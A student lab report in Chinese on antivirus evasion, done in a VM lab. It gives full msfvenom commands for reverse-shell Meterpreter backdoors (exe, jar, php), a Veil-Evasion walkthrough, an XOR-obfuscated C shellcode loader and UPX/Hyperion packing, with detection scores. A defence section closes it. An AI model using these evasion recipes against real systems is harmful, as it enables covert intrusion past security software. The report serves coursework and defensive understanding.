2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践
2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践
目录
实验要求
正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧(1.5分)
通过组合应用各种技术实现恶意代码免杀(1分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)
实验环境
- macOS下Parallels Desktop虚拟机中(网络源均设置为NAT模式):
- Windows 7 - 64bit(IP为
10.211.55.13
) - Kali Linux - 64bit(IP为
10.211.55.10
)
- Windows 7 - 64bit(IP为
- 杀软:腾讯电脑管家(版本12.13.19475.203)
预备知识
-
杀软是如何检测出恶意代码的?
- 基于特征码的检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
- 启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 基于行为的恶意软件检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
-
免杀是做什么?
- 免杀就是让安插的后门不被AV(Anti-virus)软件发现。一般是对恶意软件做处理,让它不被杀毒软件所检测。免杀也是渗透测试中需要使用到的技术。
-
免杀的基本方法有哪些?
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
- 使用社工类攻击,诱骗目标关闭AV软件
- 纯手工打造一个恶意软件
- 改变特征码
实验步骤
1 免杀效果实测
1.1 恶意代码生成工具
恶意代码功能也是重复类似的,程序员最不屑于做的就是同样的代码写多次。所以就产生了恶意代码的生成工具,可以用原始的功能代码按需组合生成不同的可执行文件,现加上不同的免杀手段。常见的如msfvenom,veil-evasion,backdoor-factory等。
对于这种情况,AV厂商当然是要尽量找到如msfvenom生成软件的特征,而不是搜集所有生成结果的特征了。其结果就是只要msfvenom生成的exe就会检测到,不管你是用了什么编码器,迭代编码的多少次。
在免杀过程中,我们就会使用这样的工具来生成恶意代码,并测试其免杀效果。
1.2 免杀效果的评价
1.2.1 VirusTotal、Virscan
集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
如果上传的程序所有软件都杀不出来,virustotal就会把它交给AV厂商们了,然后...在杀毒库更新前,你还可以使用一段时间。
Virustatol不包括各AV软件的行为分析部分(behavioral analysis)。但它自己开发了自己的行为分析引擎。太慢,还没试用。
https://www.virustotal.com/,最近奇慢,原因不明。
http://www.virscan.org/ 国内的类似virtustotal
1.2.2 免杀效果参考基准
msfvenom直接生成meterpreter可执行文件,检出率为46/57。57个扫描引擎中有46中把它识别为病毒。我们以此为参照,看经过免杀处理的应用在Virustotal上的识别率高了还是低了。
序号 | 免杀方式 | 可用性测试 | 测试主机OS/AV | VirusTotal | VirScan |
---|---|---|---|---|---|
1 | msfvenom直接生成 | 关闭杀软可用 | Win7_64+MSSE | 46/57 | 16/39 |
2 | msfvenom 编码一次 | 关闭杀软可用 | Win7_64+MSSE | 45/57 | 15/39 |
2 | msfvenom 多次编码 | 关闭杀软可用 | Win7_64+MSSE | 45/57 | 16/39 |
2 | Veil-evasion | 开启杀软可用 | Win7_64+MSSE | 19/58 | 5/39 |
2 | C+shellcode | 开启杀软可用 | Win10+腾讯管家/Bitdefender | 1/39 | |
2 | UPX压缩壳 | 40/57 | 17/39 | ||
2 | Hyperion | 18/57 | 8/39 | ||
... | ... |
1.3 Msfvenom
1.3.1 Msfvenom使用编码器
Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然,所有AV厂家都盯着呢,一有新编码算法,马上就得加到特征库里呀。
编码后呢,按理论上讲,编码会降低检出率,大不了多编码几次,总会检不出来。
-
直接输入命令
msfvenom
即可查看相关用法: -
编码一次命令如下(用-e参数编码):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=10.211.55.10 LPORT=5314 -f exe > 5314encoded10.exe
-
编码十次命令如下(用-i参数指定编码次数):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=10.211.55.10 LPORT=5314 -f exe > 5314encoded10.exe
还是8个引擎报毒啊!这招不好使!
1.3.2 Msfvenom生成jar等其他文件
- 用命令
msfvenom -p java/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 x> 20155314_backdoor_java.jar
生成.jar文件: - 用命令
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.211.55.10 LPORT=5314 x> 20155314_backdoor.php
生成php文件(可用于网页挂马):
1.4 Veil-Evasion
Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。免杀效果比较好。官网上有视频教程。
- 用
sudo apt-get install veil
命令安装Veil,若遇到问题则用sudo apt-get update
和sudo apt-get upgrade
这两个命令更新一下软件包即可: - 之后用
veil
命令打开Veil,输入y
继续安装直至完成,之间可能等待较长时间:
- 用
use evasion
命令进入Evil-Evasion:
- 输入命令
use c/meterpreter/rev_tcp.py
进入配置界面,先设置输出.exe文件名:
- 用
set LHOST kali-ip
命令设置ip,用set LPORT PORT
命令设置端口号:
- 再用
generate
命令生成.exe文件:
如图所示,保存路径为:/var/lib/veil/output/compiled/20155314.exe
- 先上传至Virscan试试水?
打广告???冤枉啊(我喂自己袋盐!!!)那就改成5314.exe
吧~ - 用实验二所学知识将后门
5314.exe
传到Windows 7并尝试回连:- Windows下用命令行进入ncat目录,输入命令
ncat.exe -lv 5314 > 5314.exe
打开监听; - Kali下输入命令
ncat -nv 10.211.55.13 5314 < 5314.exe
发送后门到Windows:
如下图,发送成功: - 在Kali中输入
msfconsole
命令用MSF打开监听进程(这回怎么又是那只兔子),再依次输入以下命令:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.211.55.10 //此处仍然为Linux的IP
set LPORT 5314
- Windows进入ncat目录下找到刚刚传过去的后门并双击运行5314.exe,此时win7上的杀软——**腾讯电脑管家**终于坐不住了,直接强制给它隔离并弹窗警告⚠️!!! - 实验需要,我们选择给它加入信任区(平时可不敢这么干啊( ̄∇ ̄)):exploit
调摄像头什么的上回玩腻了,这次就不再玩了( ̄∇ ̄)~- 分别上传至Virscan和VirusTotal上测测看:
- Virscan扫描结果如下:
emmmm似乎感觉有些良好?别得意的太早! - VirusTotal扫描结果如下:
什么?竟然沦陷了半壁江山?!讽刺的是对比Virscan扫描结果,发现同样的几款杀毒引擎竟然一个报毒另一个安全???这不科学啊(>﹏<)
- Virscan扫描结果如下:
1.5 C语言调用Shellcode
1.5.1 Linux平台交叉编译Windows应用
- 使用命令
msfvenom -p windows/meterpreter/reverse_http LHOST=10.211.55.10 LPORT=5314 -f c
生成一个c语言格式的shellcode数组: - 把上面的数组拿来编写一个程序,用
vim 5314shellcode.c
命令新建一个c文件,将生成的shellcode粘贴到其中,并在之后添加主函数:int main() { int (*func)() = (int(*)())buf; func(); }
- 再用
i686-w64-mingw32-g++ 5314shellcode.c -o 5314shellcode.exe
命令生成可执行文件: - 将后门
5314shellcode.exe
传到Windows 7并尝试回连:- win7下输入
ncat.exe -lv 5314 > 5314shellcode.exe
; - Kali下输入
ncat -nv 10.211.55.13 5314 < 5314shellcode.exe
; - Kali下输入msfconsole相关命令;
- win7下打开
5314shellcode.exe
——
妈嗨!被腾讯电脑管家查杀了QAQ!后门太low了没办法找回呗……重新打开后门:
这.....崩了?ಠ_ಠ
不过貌似不影响回连的成功嘿嘿:
- win7下输入
- 最后战战兢兢地上传至virscan.org(>﹏<):
呃啊效果似乎还不咋样啊😒😒可能是名字的原因?😂
1.5.2 对shellcode进行免杀变形
- 基于Windows平台的shellcode免杀的实现思路主要是通过对上面用msfvenom生成的shellcode数组进行一系列变形从而欺骗杀软。这里我们先将上面的shellcode与
'x'
执行异或操作,然后分配一些内存,拷贝字符数组到分配的内存中,最后执行它。需要特别注意的是,必须先将shellcode与选择的关键字'x'
进行异或操作,然后将 shellcode放入到写好的代码中并编译:- 经过与
'x'
异或操作后的shellcode代码: - 上传至virscan.org检测:
可以哦!检测率大大降低!已经可以骗过virscan上集成的绝大多数杀软~ - 用virustotal试试:
哈哈哈哈哈哈不过不得不承认微软的杀毒引擎还是很强大的竟然知道我用的是Meterpreter👍👍 - 最令人遗(xing)憾(fen)的是,这回终于绕过了“强大”的电脑管家!这就是传说中的后门与杀软共生?!也算是成功吧嘻嘻!
- 经过与
1.6 加壳
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
MSF的编码器使用类似方法,对shellcode进行再编码。
从技术上分壳分为:
- 压缩壳
- 减少应用体积,如ASPack,UPX
- 加密壳
- 版权保护,反跟踪。如ASProtect,Armadillo
- 虚拟机
- 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida
1.6.1 压缩壳UPX
- Kali下输入命令
upx 5314shellcode.exe -o 5314shellcode.upxed.exe
: - 永不服输!传过去!再上传到virscan.org看看!
终于有进步了~😌
1.6.2 加密壳Hyperion
- 进入目录
/usr/share/windows-binaries/hyperion/
中; - 输入命令
wine hyperion.exe -v 5314shellcode.upxed.exe 5314shellcode.upxed.Hyperion.exe
进行加壳:
- 来来来,拉到virscan.org检验一下……
???这壳我还是不加了吧……
1.6.3 扩展阅读
加壳软件有很多商业版,主要目标是为了版权保护,防止逆向分析。更多内容见wiki相关词条。
1.7 行为分析
VirScan有行为分析引擎,会给出一个安全评分。越高越安全。
上传完目标文件后,等待一会儿,(1)重新上传,会提示你该文件已经分析过了,可直接查看报告;(2)或点击左侧的“查看报告”,从列表中找出你上传文件的报告页面。如下图,再点击“文件行为分析”。
下图分别是经过加密壳处理和压缩壳处理的两个文件的行为分析结果。
在真正的实践中,以下技术也有可能被应用到:
- 改变行为
- 通讯方式
- 尽量使用反弹式连接:meterpreter本身即主要使用反弹连接
- 使用隧道技术:如dns2tcp、iodine可将流量封闭为DNS协议包
- 加密通讯数据:如使用reverse-https进行转发
- 操作模式
- 基于内存操作:meterpreter是基于内存操作的操作的
- 减少对系统的修改
- 通讯方式
2 恶意软件防范措施
- 思想上
- 清楚自己操作的风险度
- 清楚自己操作目标的可信度
- 行为上
- 在可信网站下载应用。大部分非官方下载站点都存在绑捆、夹带等准恶意行为。包括中国IT几巨头。
- 理解官网上MD5值的用途,并使用其校验下载内容。
- 使用正版、官方、开源软件。
- 具体技术手段
- 安装可信的防病毒软件并即时更新
- 理解并管理好防火墙进出站规则
- 会用工具监控进程操作:如文件操作、注册表操作、网络连接与通讯内容
- 会使用沙箱技术分析可疑软件
- 会使用沙箱隔离可能受到攻击的应用
实验中遇到的问题及解决过程
实验总结与体会
杀软并不是万能的。这次实验让我充分认识到了杀软的局限性以及杀软在面对一些精心制作的后门时几乎是毫无用处的,最关键的是制作这样一个免杀后门的技术门槛和成本是非常低的。此外,由于杀软在电脑上具有相对较高的权限,它们是否私自收集和泄漏用户数据隐私也饱受世人怀疑。总之,我们不能过于依赖杀软。
veil-evasion和半手工编程当前免杀效果最好。基本可以绕过主流AV软件。已有的编码、加壳、加密软件,需要把解压、解密代码加入到可执行文件中,这些代码片断会被检测出。加壳、加密的思路+半手工的payload可能是一种可行的方式,但需要更多测试。最牛的当然是自己开发,开发这样通用的工具可能工作量还是非常大的,好在有前人的工作可以参考像kkrunchy还有HackingTeam泄露出来的 core-packer。
返回目录参考资料
- Windows下用命令行进入ncat目录,输入命令